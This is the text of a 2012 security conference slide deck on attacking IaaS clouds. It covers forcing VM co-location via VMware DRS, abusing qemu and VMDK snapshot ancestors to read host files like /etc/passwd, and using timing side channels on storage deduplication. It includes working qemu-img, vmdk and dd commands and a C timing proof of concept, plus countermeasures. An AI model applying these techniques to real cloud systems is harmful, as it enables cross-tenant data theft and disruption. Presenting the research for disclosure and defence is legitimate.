Hacking Cloud Computing infrastructures for fun and for profit
Matthieu BOUTHORS
Wednesday, July 11, 12
Plan
• Introduction to cloud computing
• Focus on IaaS
• Targeting data snapshots
• Targeting data dedup
2
Wednesday, July 11, 12
* as a Service
3
Wednesday, July 11, 12
Characteristics
• Agility / Elasticity : Everything could be scaled up/down
• APIs : Everything could be automatized for more agility
• Reliability / Low maintenance : sharing provide access to state-of-the-art architectures at low costs
• Simplicity : Everything is divided in simple pieces (needed by previous points)
4
Wednesday, July 11, 12
Focus on IaaS
• Orchestration from user to behind the OS :– Networking (Firewall rules, Elastic IPs, DNS,
Load-Balancing, ... )– Storage (RAW Volumes creation/deletion,
Mounts, Snapshots, ...)– Hypervisor (VM lifecycle, sizing, RO access to
COM Port, ...)• Sound likes something new and
interesting5
Wednesday, July 11, 12
IaaS stack
6
Wednesday, July 11, 12
Cloud Solutions
• Custom orchestration other Xen/Qemu-KVM hypervisor : AWS/Rackspace/...
• Closed source all-in-one solutions : VMWare (vsphere + cloud director), MS (Hyper-V + System Center)
• Open source all-in-one solutions : OpenStack, Eucalyptus
7
Wednesday, July 11, 12
IaaS Hackers’ objectives
• Almost unlimited network/compute/storage resources for free
• Access to IaaS customers’ sensitive piece of data
• Access to IaaS customers’ VMs
8
Wednesday, July 11, 12
IaaS attack vectors
• From the Internet– easiest to perform– limited attack surface– hard to find cloud specific vectors
• Cloud APIs–Webservices available from all the Internet–Most secured part– Complete access to each IaaS functionality
9
Wednesday, July 11, 12
IaaS attack vectors
• From a VM inside the cloud :– behind almost all conventional layers of
defense– simple and RAW access to underneath
resources– almost all tool / custom code could be
used on the VM– restricted to public cloud
10
Wednesday, July 11, 12
“10$ Hack” principles
• Pretend to be a legitimate customer• Spend a minimum of money thanks to
elastic billing• Abuse a maximum of functionality only
accessible to customers
• Very effective against all provider with shared infrastructures
11
Wednesday, July 11, 12
Get close to the target
• Thousands of physical hosts but you hope to be in the same as your target
• Host is assignation is only algorithm tuned with different goals :– limit host under-utilization– provide constant performance among all
the hosts– avoid capacity issues
12
Wednesday, July 11, 12
Abuse Host assignation
• VMWare DRS :• spawn a lot of VMs and generate huge charge
inside these VMs• VMs will be migrated to hosts with low usage • Stop generating load on VMs (VMs won’t be
migrated but their hosts will be able to accept new busy VMs again)• Start DoS on targeted VMs• Targeted VMs will probably be migrated on a
host where you already have a VM
13
Wednesday, July 11, 12
Attacking Storage
14
Wednesday, July 11, 12
Commonly used technologies
• High performance NAS/SAN
• Custom file format for RAW disks storage :– VMDK : VMWare– QED : qemu– TODO Hyper-V
• Sometimes custom FS (VMWare VMFS)
15
Wednesday, July 11, 12
Snapshots
• Users tends to create VM from only a few subset of images
• Duplicating a RAW disk image on VM creation on each VM creation takes ages
• Users need way to easily save RAW disk images
• Snapshots solve these problems
16
Wednesday, July 11, 12
Snapshot principles
• “Current” disk is marked as read only• New disk is created with the “current”
disk as snapshot ancestor• New writes are performed on new disk• Reads are performed on new disk only
if block has been re-writed since snapshot
17
Wednesday, July 11, 12
Exploiting snapshots
• Control the value of the ancestor
• Restore the snapshot
• Read the content of the chosen ancestor
18
Wednesday, July 11, 12
qemu-kvm
• anyfile can be used as an ancestor with standard qemu-img binary :
•
19
$ qemu-img create -f qcow2 -b /etc/passwd nasty.qed
$ strings nasty.qed
/etc/passwd
$ qemu-img convert -O raw nasty.qed nasty.raw && head -n 3 nasty.raw
# $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $
#
root:*:0:0:Charlie &:/root:/usr/local/bin/bash
Wednesday, July 11, 12
VMWare VMDK
• No sexy tool like qemu-img• Virtual disk is usually separated into
several .vmdk files• *-flat.vmdk files containing the raw
data• .vmdk containing useful informations
including the references to *-flat.vmdk files
20
Wednesday, July 11, 12
Normal .vmdk
21
# Disk DescriptorFileversion=1encoding="UTF-8"CID=b5892a19parentCID=ffffffffisNativeSnapshot="no"createType="vmfs"
# Extent descriptionRW 33554432 VMFS "debian-test-flat.vmdk"
# The Disk Data Base#DDBddb.virtualHWVersion = "8"ddb.longContentID = "312b4792544af9a8c959d20eb5892a19"ddb.uuid = "60 00 C2 9b 32 5e f1 d0-54 b3 29 04 95 51 99 3c"ddb.geometry.cylinders = "2088"ddb.geometry.heads = "255"ddb.geometry.sectors = "63"ddb.adapterType = "lsilogic"
Wednesday, July 11, 12
Modifying the extends
• Works with -flat.vmdk files from other disk images
• Does not seems to work on local text files
• Seems to work on local gz files
22
Wednesday, July 11, 12
.vmdk modified #1
23
# Disk DescriptorFileversion=1encoding="UTF-8"CID=b5892a19parentCID=ffffffffisNativeSnapshot="no"createType="vmfs"
# Extent descriptionRW 33554432 VMFS "debian-test-flat.vmdk"RW 0 VMFS "debian-test_1-flat.vmdk"
# The Disk Data Base#DDBddb.virtualHWVersion = "8"ddb.longContentID = "312b4792544af9a8c959d20eb5892a19"ddb.uuid = "60 00 C2 9b 32 5e f1 d0-54 b3 29 04 95 51 99 3c"ddb.geometry.cylinders = "2088"ddb.geometry.heads = "255"ddb.geometry.sectors = "63"ddb.adapterType = "lsilogic"
Wednesday, July 11, 12
.vmdk modified #2
24
# Disk DescriptorFileversion=1encoding="UTF-8"CID=b5892a19parentCID=ffffffffisNativeSnapshot="no"createType="vmfs"
# Extent descriptionRW 33554432 VMFS "debian-test-flat.vmdk"RW 0 VMFS "/bootbank/state.tgz"
# The Disk Data Base#DDBddb.virtualHWVersion = "8"ddb.longContentID = "312b4792544af9a8c959d20eb5892a19"ddb.uuid = "60 00 C2 9b 32 5e f1 d0-54 b3 29 04 95 51 99 3c"ddb.geometry.cylinders = "2088"ddb.geometry.heads = "255"ddb.geometry.sectors = "63"ddb.adapterType = "lsilogic"
Wednesday, July 11, 12
Retrieving data
• Extend is accessible at the end of the disk device
• We only have to skip the begining of the disk to retrieve the needed piece of data
• In our case :
25
dd if=/dev/sda of=leaked_img skip=33554432 bs=51225+0 records in25+0 records out12800 bytes transferred in 0.020000 secs (640001 bytes/sec)
Wednesday, July 11, 12
Caveats
• Hard to guess other VMs .vmdk filenames and paths
• .gz are truncated to the closest multiple of 512 bytes
26
Wednesday, July 11, 12
Real-World attack possibilities
• Unlikely to be able to forge these “snapshots” from API
• Should be really useful when user is able to upload his own images
27
Wednesday, July 11, 12
Deduplication
• Snapshot is not enough for optimizing storage usage
• Filer (or file-systems like ZFS) provides deduplication of redundant blocks
• Each time two redundant blocks are found, a block is replaced by a link
• If a block is rewrited, the entire block need to be written
28
Wednesday, July 11, 12
Identify deduplication
• If only one byte is written, all the deduplicated block needs to be written
• Sounds like a write penalty
• We will conduct timed attacks in order to identify this penalty
29
Wednesday, July 11, 12
Caveat #1
• Deduplication may be asynchronous
• Attack needs to wait for the deduplication process to occurs
• Since deduplication is only on the Filer, VM does not need to run waiting for deduplication, only volume need to remains during the wait
30
Wednesday, July 11, 12
Caveat #2
• Deduplication is filer-centric
• Some filers work on NFS export at file level => no attack possible
• Blocks may be misaligned between the VM Filesystem and the actual Filer => unlikely to be seen since this means a severe performance issue, the cloud provider will work for us and avoid this case
31
Wednesday, July 11, 12
Caveat #3
• OS / Filesytems Cache
• Empty Linux cache before doing anything else
• Use direct IO for writing
32
Wednesday, July 11, 12
What exploitation looks like
• Create files that may be deduplicated and random files on your own VM
• Wait (maybe 24 hours if dedup is a daily cron job)
• Flush Linux file caches• Write one byte per block on each bloc
(usually 4KB)• Compare timing on random files vs
deduplicated files
33
Wednesday, July 11, 12
Flush Linux file cache
• Cache behaviour of Linux unpredictable
• we need a tool to show and flush Linux file cache
• VMTouch is this tools (thx to hoytech)
• https://github.com/hoytech/vmtouch34
Wednesday, July 11, 12
Writes and time measurement
• Avoiding python/ruby/java/...• Needs to use direct IOs• Needs to be far more precise than
UNIX time command (ms precision)
• Solution : simple C program
35
Wednesday, July 11, 12
.c POC
36
#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <time.h>#include <stdio.h>
int64_t timespecDiff(struct timespec *timeA_p, struct timespec *timeB_p){ return ((timeA_p->tv_sec * 1000000000) + timeA_p->tv_nsec) - ((timeB_p->tv_sec * 1000000000) + timeB_p->tv_nsec);}
int main(int argc, char **argv) { int f; int t = "A"; f = open(argv[1], O_WRONLY | O_DIRECT); struct timespec start, end; clock_gettime(CLOCK_MONOTONIC, &start); write(f,&t,1); clock_gettime(CLOCK_MONOTONIC, &end); printf("%d\n",timespecDiff(&end, &start)); close(f); return 0;}
Wednesday, July 11, 12
Attacking ZFS dedup
37
Wednesday, July 11, 12
Limitations of this POC
• Only focus on first block of a file
• Lack of automation
• Lack of block size guessing (needed in order to correct first limitation)
38
Wednesday, July 11, 12
Impacts / Counter-measure
• Could be use to find if your cloud neighborhood have :
• unpatched binaries on their VMs• files that belongs to you (dataleak detection)
• Not limited to VMs, Provider may also have hypervisor’s data on the filer
• Counter-measure : encrypt all your stuff in order to have different RAW blocks for same piece of data
39
Wednesday, July 11, 12
Corrupting dedup
• Work In Progress :– generating a collision on dedup table– when user try to write legitimate file, they are deduped to your
backdoored version
• Difficulties :– Each Filer / Filesystem have is own checksum algorithm : you
need to gather information about the storage infrastructure– Filer / Filesystems using weak checksum usually perform bit per
bit comparaison before dedup (for instance NetApp)– Finding usable collision on strong checksum algorithm is really
hard (for instance ZFS uses AES-256)
40
Wednesday, July 11, 12
Denial of Service via Dedup
• Not tested yet
• Only usable with solutions with weak checksum + bit-per-bit comparison
• Attack scenario :– generate a maximum of collisions thanks
to the weak algorithm
41
Wednesday, July 11, 12
Solutions : Provider side
• Innovative solutions need to be security assessed more than usual
• Internal security actions need to be publicly known and mesurable
• Solutions :– internal skilled security teams – certifications and external audit policies
42
Wednesday, July 11, 12
Solutions : Customer/User side
• Customer could not blindly trust any cloud provider
• Counter-measures are available on customer side :– Avoid storing sensitive data unencrypted– Add firewall / IDS / IPS directly on VMs– Ensure the quality and reliability of the
selected provider
43
Wednesday, July 11, 12
Conclusions
• New technologies bring new threats• Other attacks available :
• VM memory overlapping Host Memory (VMSA-2012-0009.2)• Xen SYSRET instruction (CVE-2012-0217)• ...
• New threats does not always mean new way to fight these threats
44
Wednesday, July 11, 12
Questions ?
• Thanks : @hackerzvoice & @outscale
• Contacts : @majin_boo
45
CrashFR will never die in our living memories
Wednesday, July 11, 12